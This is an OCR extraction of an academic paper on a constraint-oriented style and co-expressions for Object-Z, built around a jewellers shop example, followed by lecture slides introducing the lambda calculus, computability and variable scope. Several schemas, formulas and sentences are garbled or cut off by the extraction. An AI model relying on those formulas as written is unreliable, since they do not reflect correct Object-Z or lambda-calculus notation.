\text{window} : \text{bag}(\text{weight} \times \text{material}) \\ \text{pieceIn} = \Delta(\text{safe}) \\ \text{pieces} : \text{weight} \times \text{material} \\ \text{safe}' = \text{safe} \uplus \{ \text{piece}! \} \\ \text{window}' = \text{window} \setminus \{ \text{piece}? \} \\ \text{pieceToSafe} = \Delta(\text{safe}, \text{window}) \\ \text{pieceIn : weight} \times \text{material} \\ \text{pieces} = \text{pieceIn} \setminus \text{safe}' \setminus \text{window}' \\ \text{safe}' = \text{safe} \uplus \{ \text{piece}? \} \\ \text{window}' = \text{window} \setminus \{ \text{piece}? \} \\ \text{pieceOutOf} = \Delta(\text{window}) \\ \text{weight} : \text{weight} \times \text{material} \\ \{ \text{weight}, \text{mat} \} \in \text{window} \\ \text{window}' = \text{window} \setminus \{ \text{weight}, \text{mat} \} \\ \end{array} \] We now move to the description of the data handling objects of the system. We can identify three such components, namely ValTable, Cash and SafeWindow. The object ValTable represents the table of values per unit weight of each metal, and the operations which access or alter that table. The object Cash simply represents the cash deposit and the operation pieceOut that changes it. Finally, SafeWindow represents the pieces in the safe and window display, together with the collection of operations that alter them. We begin by specifying ValTable as follows: \[ \text{ValTable} = \\ \begin{array}{l} \text{value} \mapsto \text{material} \\ \text{pieceIn} = \text{value} \mapsto \text{material} \\ \text{safe}' = \text{safe} \uplus \{ \text{piece}? \} \\ \text{window}' = \text{window} \setminus \{ \text{piece}? \} \\ \text{pieceOut} = \text{value} \mapsto \text{material} \\ \end{array} \] The table is represented as a partial function from material to value. The initialisation gives an initial value for each precious metal. The operations pieceIn and pieceOut use information contained in the table, which can be updated by the operation matValPair. The operation pieceIn accepts three inputs (by convention input variables are decorated by a question mark) and specifies that an invariant must be preserved between the value, weight and material of the incoming piece. pieceOut specifies that the price of a sold piece must be 1.3 times its value (outputs are used so that we can synchronise with an operation in another object later). Notice that the operations only specify the data handling, and in this object no constraints are placed upon their temporal ordering. In a similar manner we can specify the objects Cash and SafeWindow. The former contains a description of how pieceOut effects the cash deposit, whilst the latter describes how operations alter the contents of the safe and window display. Because the safe and the window display. Having specified the component objects we now describe their interaction by specifying the Jewellers shop as a class of interacting objects. This can be achieved in Object-Z because a class can also include instances, i.e. objects, of other classes as state variables. This allows the concise specification of the interaction between components of a system. For example, the Jewellers class specified below comprises six component objects - one for each of the components specified above. Initially these objects are all in their own initial states. In the class we specify all the operations that can be performed, and each operation is described in terms of its effect on one or more of the component objects, that is, in terms of their respective operations. The objects have operations applied to them using the dot notation. For example, the cashUnlock operation only effects the object mary, so this is specified simply as cashUnlock = mary.cashUnlock. This has the effect of changing the state of the object mary according to its definition of cashUnlock. We are in effect promoting the local operation defined in mary to an operation available in this class. The description of openShop is more complex, as it requires cooperation of three of the components. Each of these components contains a partial description of the openShop operation; the complete specification requires that the openShop operation of mike, mary and jane are performed in synchronisation. This can be specified in Object-Z using the parallel composition operator ||. The parallel operator || is an additional schema operator provided in Object-Z, and it enables communication between objects to be specified. It behaves like conjunction but also equates inputs and outputs with the same basename [2]. In the case of openShop there is no communication between the component operations, so the effect is a simple synchronisation of the components [Note 2]. In the case of operation pieceIn, the synchronisation of the three interacting objects also involves an agreement on the values of some input variables, since the operation pieceIn of object ValTable and that of object SafeWindow share variables weight and price. The composition of operations that share some input and/or output variables is at the heart of constraint-oriented reasoning: each object participating in a composed operation expresses a different, partial constraint on that operation, by affecting and being affected by some of its parameters. This provides a description of the Jewellers shop, and the specification is completed by describing the behaviour of the customers Peter and Paul and their interaction with the shop. Peter collects his pieces in a bag, and because the current weight of the bag cannot exceed a maximum weight capacity a state invariant must be preserved; this is specified in the state schema. In the state invariant of Peter we use the count function for bags [3], which counts the number of elements in a bag. The state invariant consists of four conjunctions. The first specifies that currExp is the money spent in the current shopping trip, whilst the third conjunction specifies that currWei is the current weight of the bag. Note 2: Given there is no communication, we could simply have used conjunction here instead of parallel composition. However, we use || for uniformity throughout the specification. 2.2 Assessment The specification we have given above illustrates that Object-Z supports a constraint-oriented specification style: constraints are modelled as objects, and their cooperation is described by composing (which implies synchronising) their individual operations, thus obtaining new operations at a higher specification level. This enables us to separate concerns in a clean way. The description of temporal ordering of events was specified separately in Mike, Mary and Jane, and the data manipulation was contained elsewhere, in \textit{ValTable, Cash} and \textit{SafeWindow}. The constraints were then easily composed in the top level classes \textit{Jewellers} and \textit{System}. The specification, however, can be criticised on the grounds of length and redundancy. The composition of constraints is not really described as a concise composition of entities, but is rather fragmented into a long, flat list of operation definitions, which is redundant. For example, we have to explicitly promote all the non-synchronised actions of one entity, and there is no shorthand way of specifying this in Object-Z. Again the temporal composition could also be better expressed in a graphical format (transition graph), or at least in a more compact textual form. 3 Specifying constraint composition by co-expressions Fig. 6 describes the interconnection of objects implicit in the Object-Z specification of the Jewellers system. ![Diagram of Jewellers system](image) **Fig. 6 Interconnected objects in the Jewellers system** Objects are represented as rounded rectangles, with encapsulated state variables and operations depicted, respectively, as circles and boxes. Again, state variables filled with horizontal lines are concerned solely with ordering constraints while those filled with vertical lines represent the actual data items of the system. Since in the Object-Z specification we have preserved names when composing and promoting operations, in Fig. 6 we can concisely represent a composite operation just as a labelled box connected to the objects that provide its component operations; this graphical convention is also convenient because it explicitly suggests synchronisation among objects. A special notation is used for operation \textit{pieceOut}. Here, the two component operations contributed by objects \textit{Peter} and \textit{Paul} are combined by disjoint composition (see the class \textit{System} in Section 2.1), thus we have represented them by small, disjoint boxes inside the composite operation box. A simple textual representation of the Jewellers component in Fig. 6 is: \begin{verbatim} Mike [openShop, closeShop, pieceIn, matValPair, toTheatre], Jane [openShop, closeShop, pieceToWindow, pieceToSafe, toDisco], Mary [openShop, closeShop, cashUnlock, cashLock, pieceOut, toTheatre], ValTable[pieceIn, matValPair, pieceOut], Cash [pieceOut], SafeWindow [pieceIn, pieceToWindow, pieceToSafe, matValPair, toTheatre, toDisco] (Peter[pieceOut, reset]; Paul[pieceOut, refill]) \end{verbatim} where we still use the comma for expressing the conjunction of the \textit{Jewellers} component with the rest of the system, and introduce the semicolon for describing the disjunction between components \textit{Peter} and \textit{Paul}, which are not expected to synchronise on the operation \textit{pieceOut} that they share. We believe that the interconnection diagram of Fig. 6, and its textual counterpart, are substantially more clear and intuitive than the lengthy definitions of class schemas \textit{Jewellers} and \textit{System} in Section 2.1. The system is conceived as a composition of objects, one describing the shop and two describing different customers; the shop is in turn conceived as a composition of three temporal ordering constraints and three data handling constraints (recall that the terms ‘object’ and ‘constraint’ correspond to slightly different ways of looking at, basically, the same thing). A specification is now more readable if this conceptual structure is directly reflected in its syntax, via the graphical or textual forms just introduced. Therefore we propose to extend Object-Z by including the textual form for object composition, which we call ‘co-expression’. Below we show how we can directly plug the two co-expressions above into the definitions of, respectively, classes \textit{Jewellers} and \textit{System} (the other class definitions of the specification are left unchanged). <table> <thead> <tr> <th>Jewellers</th> </tr> </thead> <tbody> <tr> <td>mike: Mike, jane: Jane, mary: Mary, cash: Cash, safeWindow: SafeWindow, valTable: ValTable</td> </tr> </tbody> </table> <table> <thead> <tr> <th>INIT</th> </tr> </thead> <tbody> <tr> <td>mike.init; jane.init; mary.init; cash.init</td> </tr> </tbody> </table> | (mike.openShop, closeShop, pieceIn, matValPair, toTheatre), | jane.openShop, closeShop, pieceToWindow, pieceToSafe, toDisco), | mary.openShop, closeShop, cashUnlock, cashLock, pieceOut, toDisco), | valTable[pieceIn, matValPair, pieceOut), | cash[pieceOut], | safeWindow[pieceIn, pieceToWindow, pieceToSafe, pieceOut]) | Co-expressions appear in angle brackets, and are shorthand for the long lists of operation definitions found in the original Object-Z text. In co-expressions, objects appear with their full list of operation names. We are not changing the semantics of the language, but simply offering convenient syntax that matches constraint-oriented decomposition. The fully general form of co-expression and its expansion into Object-Z are formally defined in the next Section. 4 Formal expansion of co-expressions In this Section we introduce the general form of co-expression, and show how it is translated into Object-Z. The general form of a co-expression is given by the following abstract syntax: \[ \begin{align*} \text{co.expression} & ::= <\text{co.exp}> \\ \text{co.exp} & ::= \text{item} \mid (\text{co.exp}) \mid \text{co.exp}\cdot\text{co.exp} \\ \text{item} & ::= \text{obj.item}\mid\text{op.item} \\ \text{obj.item} & ::= \text{obj.id}\mid\text{arg.list} \\ \text{arg.list} & ::= \text{arg}\mid\text{arg}\cdot\text{arg.list} \\ \text{arg} & ::= \text{op.id}\cdot\text{op.id}\mid\text{op.id} \\ \text{op.item} & ::= \text{op.id}\mid\text{schema} \end{align*} \] From the abstract syntax we can see that a co-expression is a list of items in angle brackets, where items are either separated by commas or semi-colons. The comma denotes conjunction and yields synchronisation of operations; the semicolon denotes disjunction and yields operation interleaving. Co-expressions can also be bracketed if necessary to enforce a particular expansion. Items are either object items (obj.id) or operation items (op.item), and each of these describe the operations that are synchronised by the co-expression. The simplest form of an item is an operation item, which has the form op.id \( \triangleq \text{schema} \), and this simply introduces an operation name and its definition as a schema in its horizontal form. There is no requirement on the name being unique: indeed such an operation definition allows an additional constraint to be placed on an existing operation. We shall see an example of this below. An object item introduces the name of an existing object (obj.id), that is, one declared in the state schema, together with a list of operations (the arg.list). An operation in the list is either an operation name, or a substitution of one name for another. The co-expression describes synchronisation between these operations and those defined by the op.items. To illustrate how this is achieved, we consider an abstract example of using a co-expression and its translation into Object-Z. In the example below, four component objects \( M, N, P \) and \( Q \) are specified. Object \( M \) contains specifications of operations \( opM1, opM2 \) and \( c \); \( N \) contains specifications of operations \( opN1, opN2 \) and \( c \), etc. The class Main includes a state schema where four objects of classes \( M, N, P \) and \( Q \) are declared, and a co-expression which makes use of these objects. \[ \begin{align*} \text{N} \quad \text{P} \quad \text{Q} \quad \text{M} \end{align*} \] \[ \begin{align*} \text{N} \quad \text{P} \quad \text{Q} \quad \text{M} \end{align*} \] \[ \begin{align*} \text{int} \quad \text{int} \quad \text{int} \quad \text{int} \end{align*} \] \[ \begin{align*} \text{int} \quad \text{int} \quad \text{int} \quad \text{int} \end{align*} \] \[ \begin{align*} \text{opM1} & \equiv \ldots \\ \text{opM2} & \equiv \ldots \\ \text{c} & \equiv \ldots \\ \text{opN1} & \equiv \ldots \\ \text{opN2} & \equiv \ldots \\ \text{c} & \equiv \ldots \\ \end{align*} \] \[ \begin{align*} \text{opP1} & \equiv \ldots \\ \text{opQ1} & \equiv \ldots \\ \end{align*} \] The class may also contain additional operations, specified as usual; these are simply denoted op_list in the above example. The co-expression represents a list of operation definitions, where after translation into pure Object-Z, each operation will be a promotion of an operation from a component object or of several synchronised operations. When translating an arbitrary co-expression into a full description of its behaviour in Object-Z there are several cases to consider. These are expanded according to the following rules: - operations which are mentioned in only one obj_item are simply promoted from the component object to the class containing the co-expression. For example, \( opM1 \) occurs in the first obj_item in the above co-expression, thus the expanded form contains the operation definition \( opM1 \equiv m.\text{opM1} \), and similarly for \( opN2, opP1 \) and \( opQ1 \). - operations which are mentioned in more than one obj_item are promoted to the class containing the co-expression, and all occurrences of such operations with the same name are synchronised. For example, the operation \( c \) occurs in the first two object items, therefore the expanded form contains the operation definition \( c \equiv m.c \ | n.c \). - operation names can be substituted; this is denoted by, for example, \( bi\text{opM2} \). This will result in an operation with name \( b \) in the expanded form, but will be defined in terms of the original name, i.e. in terms of \( m.\text{opM2} \). - operations which are mentioned in more than one obj_item, but where the objects are separated by a semi-colon (:) are disjoined upon promotion. For example, the \( b \) occurs in the object items \( p \) and \( q \) which are separated by a semi-colon, therefore the expanded form contains the operation definition \( b \equiv p.op P2 \lor q.op Q2 \). - an operation defined by an op item (e.g. \( \Delta(s) \mid Pred(s, s') \)) is used for refining or defining an upper level operation with the same name; the body of the former definition appears literally (e.g. \( \Delta(s) \mid Pred(s, s') \)) in the expression defining the latter in the expanded form. In case op item introduces a new operation name not found elsewhere in the co-expression, the operation is simply added to the list of upper level operations, as if it appeared outside the co-expression, in op list. Adopting these conventions we can expand the class Main given above to its full definition as follows: \[ \text{Main} = \begin{cases} \text{m} : M, n : N, p : P, q : Q, s : S \end{cases} \\ \text{INIT} \\ \text{opM1} = m.opM1 \\ b \equiv m.opM2 \land n.op.N1 \land (p.op.P2 \lor q.op.Q2) \\ \Delta(s) \land Pred(s, s') \\ c \equiv m.c \land n.c \\ opN2 \equiv n.opN2 \\ opP1 \equiv p.opP1 \\ opQ1 \equiv q.opQ1 \\ \text{op}_1 \text{list} \] With these expansion rules we can see that after translational action of classes Jewellers and System in the previous section do represent the original lengthy descriptions given in Section 2. 5 Conclusions and related work In this paper we have illustrated a constraint-oriented specification style for Object-Z and a corresponding syntactic extension. The aim of this style is to make object-based specification languages such as Object-Z suitable for the incremental description of systems where concerns about the handling of data structures and the temporal ordering of events are intertwined. By using this design technique, the usual benefits of object-oriented design decomposition, such as adherence to the objects in the 'real world', and reusability, are combined with those of constraint-oriented decomposition, such as specification flexibility and adherence to informal, functional descriptions. We have demonstrated how a composition of constraints can be concisely described by a co-expression which closely resembles expressions used in LOTOS and in the co-notations for similar purposes. The use of this co-expression removes much of the redundancy found in a pure Object-Z specification, and allows one to use a more compact textual form that directly refers to the relevant constraints. Finally, we have shown how to translate co-expressions into pure Object-Z. As mentioned in the Introduction a constraint-oriented style is already supported by a number of formal techniques, although few in an object-based setting. The exceptions to this include VDM++ and Z++. VDM++ [5] is a concurrent, real-time and object-oriented extension of VDM-SL. Z++ [6] is similar proposal based upon Z which adds a class construct and mechanisms for specifying concurrency and real-time behaviour via real time logic. The constraint-oriented specification style is an important methodological style used in the language LOTOS [7-12]. To specify a system in this style its behaviour is conceived as a composition of constraints on the ordering and values of interaction events. To do so one first identifies the actions involved in the system, and then specifies the system behaviour by composing the constraints (which are represented by processes) using parallel composition. A different use of constraints is found in the Z notation [3]. A Z specification typically describes a state space together with a collection of operations acting on that state. The state space and operations are presented as schemas, each containing a declaration together with a predicate, and the predicates enable constraints to be specified. For example, a state invariant (i.e. a predicate in the state space schema) constrains the values of the variables in the state space. In a similar way, predicates in an operation definition can be seen as constraints on a systems behaviour. The schema calculus provides a set of schema operations used to structure the presentation of the operations of the system. However, Z does not offer facilities for placing global constraints on the temporal ordering of events, as the constraints specified in Z appear either as an individual state invariant or on an operation by operation basis. For example, if we compose two schemas A and B by conjunction to define a new operation C \[ C \equiv A \land B \] the conjunction represents an individual constraint on the single operation C as opposed to a constraint on a number of events. In contrast, the LOTOS parallel composition operator supports the specification of increasingly complex constraints involving an increasing number of events. One pleasing aspect of constraints in Z is that synchronisation does not require identical action structure. For example, operation jane.pieceToWindow has no inputs/outputs whilst safe.pieceToWindow does have an input. Forming the parallel composition of these two operations is well-formed in Object-Z, whereas in LOTOS successful interaction would require identical action structure in each of its components. The co-notations [4] can be seen as an attempt to combine the constraint-oriented specification styles of both Z and LOTOS and is meant to offer facilities for handling, on one hand, actions, interaction, the ordering of their occurrences, and the composition of constraints on temporal patterns of events (as offered by LOTOS), and, on the other, state variables and the composition of constraints on their values (as offered by Z). For example, in co-notations, the co-expression: \[ P(a, b)[s, t], Q[b, c](s), R[c](t) \] denotes the composition of three constraints, each insisting on some actions (in square brackets) and on some state variables (in round parentheses). Constraints \( P \) and \( Q \) share action \( b \), and synchronise on it; similarly, constraints \( Q \) and \( R \) synchronise on action \( c \). This is analogous to LOTOS process composition. Furthermore \( P \) and \( Q \) share state variable \( s \), while \( P \) and \( R \) share state variable \( t \). This is analogous to Z schema composition. Compound constraints are defined in terms of other constraints, and may encapsulate internal state variables: they are thus similar to objects, with actions playing the part of operations. Although the constraint-oriented extension to Object-Z presented here has been largely inspired by the connotation, some differences are to be reported: constraint composition in extended Object-Z is less powerful, since it only addresses shared actions, not shared variables; however, synchronisations in this language are more flexible, because they do not require identical action structures as in co-notations. Apart from these differences, the upper levels of a specification in connotation and in extended Object-Z are similar, in that they express object/constraint compositions. But differences emerge when considering the leaves of the specification. In co-notations we find active predicates, and these are quite different from the objects we find in extended Object-Z: they do not encapsulate state variables, and must refer to precisely one action (operation). There have also been a number of proposals which aim to integrate state based languages and process algebras. For example, in [11, 12] a detailed method is given for the use of Object-Z together with CSP to describe and refine complex systems. The method involves using Object-Z to specify the component processes, with all the interaction of system components being specified in CSP. Therefore a restricted subset of Object-Z is used which does not include instantiation of objects of a class. It also does not include polymorphism, class union or object containment which are only used in the context of object instantiation, and the parallel and enrichment operators which are used to model object interaction. A specification of the Jewellers shop might be thus described in this fashion as Mike || Jane || Mary || Cash || SafeWindow || ValTable where Mike etc. are the Object-Z classes given in Section 2, and || is the CSP parallel composition which is being used to define the overall temporal patterns of the operations in this specification. The use of constraints here can be seen to be similar to the use in LOTOS discussed above, and does enable a reduction of redundancy in operation definition similar to that we achieved here by using co-expressions within classes. However, like in LOTOS, well-formed synchronisation requires identical action structure in all the components. The classes Mike etc. would have to be modified (possibly by using inheritance) before composition. This, we believe, is in contrast with the separation of concerns, since one is forced to consider the structure of all methods in all components simultaneously. In particular, the separation into temporal and data handling concerns is now lost. An additional degree of flexibility provided by the co-expressions used in this paper is that they can be defined on only some of the component objects, and that no constraints are made on the initial states of the component objects. This allows, for example, the initial state of the Jewellers shop to be different from just the conjunction of the initial states of its components. This is not possible in the method described in [11]. Further work on the use of co-expressions in Object-Z can be envisaged in a number of areas. For example, we have described a specification methodology here, and not a development method. This could be rectified by adding and integrating a notion of refinement for co-expressions which was sound with respect to refinement in Object-Z. 6 References
{"Source-Url": "https://www.researchgate.net/profile/Tommaso_Bolognesi/publication/3421982_Constraint-oriented_style_for_object-oriented_formal_specification/links/0a85e52d6410c7a1f6000000.pdf", "len_cl100k_base": 9190, "olmocr-version": "0.1.53", "pdf-total-pages": 9, "total-fallback-pages": 0, "total-input-tokens": 10305, "total-output-tokens": 10682, "length": "2e13", "weborganizer": {"__label__adult": 0.00032448768615722656, "__label__art_design": 0.0004870891571044922, "__label__crime_law": 0.0002765655517578125, "__label__education_jobs": 0.0005588531494140625, "__label__entertainment": 5.7578086853027344e-05, "__label__fashion_beauty": 0.00014388561248779297, "__label__finance_business": 0.000339508056640625, "__label__food_dining": 0.0003027915954589844, "__label__games": 0.0004069805145263672, "__label__hardware": 0.0007505416870117188, "__label__health": 0.00039124488830566406, "__label__history": 0.00023031234741210935, "__label__home_hobbies": 8.219480514526367e-05, "__label__industrial": 0.0004634857177734375, "__label__literature": 0.0003159046173095703, "__label__politics": 0.00026416778564453125, "__label__religion": 0.0004682540893554687, "__label__science_tech": 0.0197906494140625, "__label__social_life": 7.355213165283203e-05, "__label__software": 0.005001068115234375, "__label__software_dev": 0.96826171875, "__label__sports_fitness": 0.00021409988403320312, "__label__transportation": 0.0004949569702148438, "__label__travel": 0.0001806020736694336}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 44126, 0.01209]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 44126, 0.62551]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 44126, 0.88704]], "google_gemma-3-12b-it_contains_pii": [[0, 4043, false], [4043, 9477, null], [9477, 14937, null], [14937, 19990, null], [19990, 22036, null], [22036, 26580, null], [26580, 32067, null], [32067, 38433, null], [38433, 44126, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4043, true], [4043, 9477, null], [9477, 14937, null], [14937, 19990, null], [19990, 22036, null], [22036, 26580, null], [26580, 32067, null], [32067, 38433, null], [38433, 44126, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 44126, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 44126, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 44126, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 44126, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 44126, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 44126, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 44126, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 44126, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 44126, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 44126, null]], "pdf_page_numbers": [[0, 4043, 1], [4043, 9477, 2], [9477, 14937, 3], [14937, 19990, 4], [19990, 22036, 5], [22036, 26580, 6], [26580, 32067, 7], [32067, 38433, 8], [38433, 44126, 9]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 44126, 0.02632]]}
olmocr_science_pdfs
2024-12-08
2024-12-08
9fe817543334934f0135bf6320da7ba81f22423b
Introduction to the Lambda Calculus Overview: - What is Computability? - Church’s Thesis - The Lambda Calculus - Scope and lexical address - The Church-Rosser Property - Recursion References: - David A. Schmidt, “The Structure of Typed Programming Languages”, MIT Press, 1994 What Is Computable? - Computation is usually modeled as a mapping from inputs to outputs, carried out by a "formal machine", or program, which processes its input in a sequence of steps. - An "effectively computable" function is one that can be computed in a finite amount of time using finite resources. Turing Machine - A Turing machine is an abstract representation of a computing device. It consists of a read/write head that scans a (possibly infinite) one-dimensional (bi-directional) tape divided into squares, each of which is inscribed with a 0 or 1. - Computation begins with the machine, in a given "state", scanning a square. It erases what it finds there, prints a 0 or 1, moves to an adjacent square, and goes into a new state. - This behavior is completely determined by three parameters: - the state the machine is in, - the number on the square it is scanning, and - a table of instructions. Example Turing machine is more like a computer program (software) than a computer (hardware): <table> <thead> <tr> <th></th> <th>0</th> <th>1</th> </tr> </thead> <tbody> <tr> <td>0</td> <td>(1,0)</td> <td>(3,1)</td> </tr> <tr> <td>1</td> <td>(2,0)</td> <td>(3,1)</td> </tr> <tr> <td>2</td> <td>(3,0)</td> <td>(3,1)</td> </tr> <tr> <td>3</td> <td>(3,0)</td> <td>(3,1)</td> </tr> </tbody> </table> Both specification describe the same Turing machine. Church’s Thesis - Effectively computable functions [from positive integers to positive integers] are just those definable in the lambda calculus. Or, equivalently: - It is not possible to build a machine that is more powerful than a Turing machine. Church Thesis Is Not Computable - Church’s thesis cannot be proven because “effectively computable” is an intuitive notion, not a mathematical one. - It can only be refuted by given a counter-example – a machine that can solve a problem not computable by a Turing machine. - So far, all models of effectively computable functions have shown to be equivalent to Turing machines (or the lambda calculus). Halting Problem A problem that cannot be solved by any Turing machine in finite time (or any equivalent formalism) is called uncomputable. Assuming Church’s thesis is true, an uncomputable problem cannot be solved by any real computer. The Halting Problem: Given an arbitrary Turing machine and its input tape, will the machine eventually halt? The Halting Problem is provably uncomputable – which means that it cannot be solved in practice. The Ackermann function is the simplest example of a well-defined total function which is computable but not primitive recursive. The function $f(x) = A(x, x)$, while Turing computable, grows much faster than polynomials or exponentials. The definition is: \[ A(0, n) = n + 1 \\ A(m+1, 0) = A(m, 1) \\ A(m+1, n+1) = A(m, A(m+1, n)) \] Examples of Ackermann <table> <thead> <tr> <th>A(m,n)</th> <th>n = 0</th> <th>n = 1</th> <th>n = 2</th> <th>n = 3</th> <th>n = 4</th> <th>n = 5</th> </tr> </thead> <tbody> <tr> <td>m = 0</td> <td>1</td> <td>2</td> <td>3</td> <td>4</td> <td>5</td> <td>6</td> </tr> <tr> <td>m = 1</td> <td>2</td> <td>3</td> <td>4</td> <td>5</td> <td>6</td> <td>7</td> </tr> <tr> <td>m = 2</td> <td>3</td> <td>5</td> <td>7</td> <td>9</td> <td>11</td> <td>13</td> </tr> <tr> <td>m = 3</td> <td>5</td> <td>13</td> <td>29</td> <td>61</td> <td>125</td> <td>253</td> </tr> <tr> <td>m = 4</td> <td>13</td> <td>65533</td> <td>$2^{65536-3}$</td> <td>$2^{2^{65536-3}}$</td> <td>A(3,A(4,3))</td> <td>A(3,A(4,3))</td> </tr> <tr> <td>m = 5</td> <td>65533</td> <td>A(4,65533)</td> <td>A(4,A(5,1))</td> <td>A(4,A(5,2))</td> <td>A(4,A(5,3))</td> <td>A(4,A(5,4))</td> </tr> <tr> <td>m = 6</td> <td>A(4,65533)</td> <td>A(5,A(6,0))</td> <td>A(5,A(6,1))</td> <td>A(5,A(6,2))</td> <td>A(5,A(6,3))</td> <td>A(5,A(6,4))</td> </tr> </tbody> </table> The Lambda Calculus - Lambda calculus is a language with clear operational and denotational semantics capable of expressing algorithms. It forms also a compact language to denote mathematical proofs. - Logic provides a formal language in which mathematical statements can be formulated and provides deductive power to derive these. Type theory is a formal system, based on lambda calculus and logic, in which statements, computable functions, and proofs all can be naturally represented. - The lambda calculus is a good medium to represent mathematics on a computer with the aim to exchange and store reliable mathematical knowledge. The Definition of the Lambda Calculus - The Lambda Calculus was invented by Alonzo Church [1932] as a mathematical formalism for expressing computation by functions. - The lambda calculus can be viewed as the simplest possible pure functional programming language. Syntax \[ e ::= \quad x \quad \text{variable} \] \[ | \quad \lambda x . e \quad \text{abstraction (function)} \] \[ | \quad e_1 e_2 \quad \text{(function) application} \] We use parentheses to enhance readability and to build or retain sub-term structures. Operational Semantics $\alpha$-conversion (renaming): $$\lambda x . e \leftrightarrow \lambda y . [y/x]e \quad \text{where } y \text{ is fresh (in } e)$$ $\beta$-reduction (application): $$(\lambda x . e_1) \ e_2 \rightarrow [e_2/x]e_1 \quad \text{avoiding name capture}$$ $\eta$-reduction: $$\lambda x . (e \ x) \rightarrow e \quad \text{if } x \text{ is not free in } e$$ Examples \text{id} = \lambda x . x \Omega = (\lambda x . x x) (\lambda x . x x) \text{pair(x, y)} = \lambda x . \lambda y . \lambda z . z x y Currying - Since a lambda abstraction only binds a single variable, functions with multiple parameters must be modeled as **curried higher-order functions**. This method is named after the logician H. B. Curry, who popularized the approach. - To improve readability, multiple lambdas can be suppressed as follows: \[ \lambda x \ y \ . \ x = \lambda x . \lambda y . \ x \\ \lambda b \ x \ y . (b \ x) \ y = \lambda b . \lambda x . \lambda y . (b \ x) \ y \] In a program, variables can appear in two different ways: - as declarations: \((\lambda x . e)\) The occurrence of \(x\) in the lambda-abstraction introduces the variable \(x\) as a name for some value. - as references: \((f x y)\) Here all variables, \(f, x, y\), appear as references, whose meanings are defined by an enclosing declaration. A value named by a variable is also called denotation (meaning). The denotation must come from some declaration, we say the variable is bound by that declaration, or it refers to that declaration. Declarations in most programming languages have limited scope (the area, where the variable is applicable). Therefore, the same variable name may occur multiple times in the program text, but being used for different purposes. We use binding rules to determine the declaration to which a concrete variable use refers. Scoping Rules - We call a language **statically scoped**, if we can determine the declaration of a variable by analyzing the program text alone. - We call a language **dynamically scoped**, if we cannot determine the declaration of a variable until the program is executed. Binding Rules in Lambda Calculus - In $\lambda x . e$, the occurrence of $x$ is a declaration that binds all occurrences of that variable in $e$ unless some intervening declaration of the same variable occurs. Examples: - $\lambda x . \lambda y . y \ x$ - $\lambda x . \lambda y . (\lambda x . (\lambda y . x \ y)) \times y$ Occurs Free, Occurs Bound - A variable $x$ occurs free in $e$ if and only if there is some use of $x$ in $e$ that is not bound by any declaration of $x$ in $e$. - A variable $x$ occurs bound in an expression $e$ if and only if there is some use of $x$ in $e$ that is bound by a declaration of $x$ in $e$. Examples: - $\lambda x \cdot x \ y$: $x$ occurs bound, but $y$ occurs free - $\lambda f \cdot \lambda x \cdot f \ x$: both $f$ and $x$ occur bound Free and Bound Variables - In $\lambda x. e$, the variable $x$ is bound by the enclosing $\lambda$. A variable that is not bound is free: \[ \begin{align*} \text{fv}( x ) &= \{ x \} \\ \text{fv}( \lambda x . e ) &= \text{fv}( e ) \setminus \{ x \} \\ \text{fv}( e_1 e_2 ) &= \text{fv}( e_1 ) \cup \text{fv}( e_2 ) \end{align*} \] \[ \begin{align*} \text{bv}( x ) &= \emptyset \\ \text{bv}( \lambda x . e ) &= \text{bv}( e ) \cup \{ x \} \\ \text{bv}( e_1 e_2 ) &= \text{bv}( e_1 ) \cup \text{bv}( e_2 ) \end{align*} \] - An expression with no free variables is closed (otherwise it is open). For example, $y$ is bound and $x$ is free in the (open) expression $\lambda y . x y$. 127 Combinators - Lambda expressions with no free variables are called **combinators**. - Every procedure, when applied to all its necessary arguments (i.e., a procedure call), is a combinator. The Scope of a Variable Problem: For each variable reference find the corresponding declaration to which it refers. This problem is easier to solve, when we ask: Given a declaration, which variable references refer to it? In the definition of programming languages, binding rules for variables typically associate with each declaration of a variable a region of the program within the declaration is effective. Blocks - In lambda calculus as in many modern programming languages regions can be nested within each other. - We call these languages block-structured, and regions are also called blocks. Visibility - The scope of a variable, say $x$, can include inner regions that hide the variable $x$. Within these inner regions the outer declaration of the variable $x$ is hidden, that is, the scope of $x$ has a hole. Example: $(\lambda x \cdot (\lambda y \cdot (\lambda x \cdot (\lambda y \cdot x \cdot y)) \cdot x) \cdot y))$ Contour Diagrams - We use contour diagrams to picture the borders of a region: \[(\lambda x. (\lambda y. (\lambda x. (z x) z y)))\] - The lexical (or static) depth of a variable reference is the number of contours crossed to find the associated declaration. - The lexical depth is used in compilers to tell how many static links to traverse to find a variable (see frame pointers). Lexical Address - The declarations associated with a region may be numbered in the order of their appearance in the text. Each variable reference may then be associated with two numbers: - its lexical depth - its position. - To illustrate lexical addresses, we replace every variable reference \( x \) with an expression \((x : d \ p)\), where \( d \) is the lexical depth and \( p \) is the declaration position of \( x \). \[ (\lambda x \ y . (\lambda a . (x : 1 \ 0) \ (a : 0 \ 0) \ (y : 1 \ 1)) \ (x : 0 \ 0)) \] **Alpha Conversion** - Alpha conversions allows one to rename bound variables. - A bound name $x$ in the lambda abstraction $(\lambda x. e)$ may be substituted by any other name $y$, as long as there are no free occurrences of $y$ in $e$: Consider: $$(\lambda x . \lambda y . x y) y \rightarrow (\lambda x . \lambda z . x z) y \quad \alpha\text{-conversion}$$ 